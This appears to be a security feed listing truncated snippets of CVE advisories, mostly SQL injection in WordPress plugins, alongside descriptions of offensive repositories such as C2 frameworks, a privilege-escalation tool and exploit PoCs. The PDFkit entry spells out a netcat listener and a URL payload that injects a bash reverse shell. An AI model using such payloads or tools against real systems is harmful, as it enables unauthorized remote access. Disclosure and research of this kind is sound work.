CVE-2026-96267: Improper Neutralization of Special Elements used in an SQL Command

The WP Visitor Statistics Real Time Traffic plugin for WordPress is vulnerable to generic SQL Injection via the 'fullRef' parameter in all versions up to, and including, 8.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query...

CVE-2026-85568: Improper Neutralization of Special Elements used in an SQL Command

The Unlimited Elements for Elementor WordPress plugin before 2.0.21 does not correctly handle a search value before rewriting an already prepared SQL statement, allowing unauthenticated users to perform SQL injection attacks and to retrieve non-public content, when a related widget option is set...

CVE-2026-95865: Improper Neutralization of Special Elements used in an SQL Command

The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to blind SQL Injection via 'fieldsvalue' Parameter in all versions up to, and including, 2.11.0.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on th...

CVE-2026-89236: Improper Neutralization of Special Elements used in an SQL Command

The SaveTo Wishlist Lite WordPress plugin before 1.1.5 does not sanitise and escape parameters before using them in the ORDER BY clause of a SQL query, allowing unauthenticated attackers to append additional SQL queries and extract sensitive information from the database...

PT-2026-104572

Name of the Vulnerable Software and Affected Versions NASA-AMMOS AIT-Core versions prior to 3.1.2 Description The ait.core.server telemetry and command broker ait-server lacks authentication for critical functions. By default, the ZeroMQ message bus binds its XSUB and XPUB sockets to all network...

CVE-2026-94539: Improper Neutralization of Special Elements used in an SQL Command

The SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent plugin for WordPress is vulnerable to time-based SQL Injection via the 'sortby' parameter in all versions up to, and including, 3.5.3 due to insufficient escaping on the user supplied parameter and lack of sufficient...

CVE-2026-18443: Improper Neutralization of Special Elements used in an SQL Command

The Smart Manager – Advanced WooCommerce Bulk Edit & Inventory Management plugin for WordPress is vulnerable to generic SQL Injection via the 'accessprivileges' parameter in all versions up to, and including, 8.97.0 due to insufficient escaping on the user supplied parameter and lack of sufficien...

CVE-2026-103913: Improper Neutralization of Special Elements used in an SQL Command

The GeoDirectory plugin for WordPress is vulnerable to SQL Injection via the stored latitude/longitude coordinates of a listing in versions up to, and including, 2.8.186. This is due to insufficient escaping and the absence of numeric validation on coordinate values when a listing is saved,...

Quantum Machine Learning Protection of Military Quantum Key Distribution against Cryptographically Camouflaged Attacks

Quantum key distribution proves its protocol secure and says nothing about the hardware beneath it, so military and government operators fielding it for command-and-control keys monitor the channel for implementation attacks, and that monitoring has a blind spot. An adversary with a kleptographic...

CVE-2026-92923: Improper Neutralization of Special Elements used in an SQL Command

The Unlimited Elements for Elementor WordPress plugin before 2.0.21 does not sanitise and escape a parameter before using it in a SQL statement, allowing users with a role as low as subscriber to perform blind SQL injection attacks and read arbitrary data from the database. Version 2.0.18 removed...

PT-2026-104599

Name of the Vulnerable Software and Affected Versions AhsayCBS versions prior to 10.3.4 Description An OS command injection flaw exists in the Replication Receiver component. Unauthenticated remote attackers can execute arbitrary system commands by sending a specially crafted HTTP request to the...

CVE-2026-105105: Missing Authentication for Critical Function

CWE-306: Missing Authentication for Critical Function in the ait.core.server telemetry and command broker ait-server in NASA-AMMOS AIT-Core through 3.1.1 allows an unauthenticated remote attacker with network access to the ZeroMQ message bus to inject spacecraft command data, exfiltrate command a...

Security update for rustup (important)

openSUSE security update: security update for rustup ------------------------------------------------------------- Announcement ID: openSUSE-SU-2026:22016-1 Rating: important References: bsc1230032 bsc1243862 bsc1249008 bsc1257902 bsc1270186 bsc1270521 bsc1270619 bsc1270644 bsc1270795 bsc1270870...

aws-suture

요약 $ git clone [email protected]:pblittle/suture.git $ cd suture $ bundle install $ bundle exec ./bin/suture --help $ bundle exec ./bin/suture check Suture Suture는 AWS EC2 인스턴스에서 임의의 명령을 실행하기 위한 도구입니다. 개별 인스턴스 또는 전체 리전을 대상으로 실행할 수 있습니다. Suture는 원래 실행 중인 EC2 인스턴스들이 Heartbleed 취약점에 노출된 OpenSSL...

cve-2026-39987

cve-2026-39987 インストール • 使い方 • 例 Goを試しているだけです :D ちなみに: CVE-2026-39987 PoC: Marimo:PORT/terminal/ws REDACTED@REDACTED:$ uname -a Linux ... REDACTED@REDACTED:$ exit exit INF:normalclose websocket: close 1000 normal: Terminal session ended カスタムコマンド -c: cve-2026-39987 -t wss://:PORT/terminal/ws -c "ca...

gopher47

gopher47 适用于 Havoc 框架的第三方 Gopher 刺客 就像电子游戏一样 :D 这是什么？🤔 这是用 Golang 为 Havoc C2 编写的第三方 agent，主要作为一个学习项目来写，但我相信它仍然有用。 等这篇文章发布时，你可以在我的博客上了解更多关于这是什么以及为什么这么做的内容：这里 欢迎贡献！ 我不打算更新得太频繁，但如果我做得开心，未来可能会加更多东西。 命令 Command| Description| Example ---|---|--- checkin| 返回基本系统信息| checkin shell| 运行命令（通过 Go 的 os/exec 执行...

SharpC2

SharpC2 SharpC2 は、C で書かれた Command & Control C2 フレームワークです。ASP.NET Core チームサーバー、.NET Framework インプラント、.NET MAUI クライアントで構成されています。...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 상세 설명 0.0.0 버전부터의 pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. PoC HTTP 서버 시작 1- python3 -m http.server 80 netcat 리스너 시작 2- nc -lnvp 'Target Port' 요청 만들기 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

RasmanPotato

RasmanPotato @Wh04m1001 には、長期間にわたる継続的なコミュニケーションに感謝します。 他のポテトと同じように、RasMan サービスを利用して権限昇格を行う、もう一つのポテトです。 Windows 10 11は未テスト、Windows Server 2012 - 2019 2022は未テスト に対応。 使い方 magicRasMan v0.1 Provided that the current user has the SeImpersonate privilege, this tool will have an escalation to SYSTEM...

CVE-2026-105050

PeaZip before 11.3.0, in a non-default configuration, is vulnerable to OS command injection via a filename in an archive because "quotation character already used in the string" is mishandled...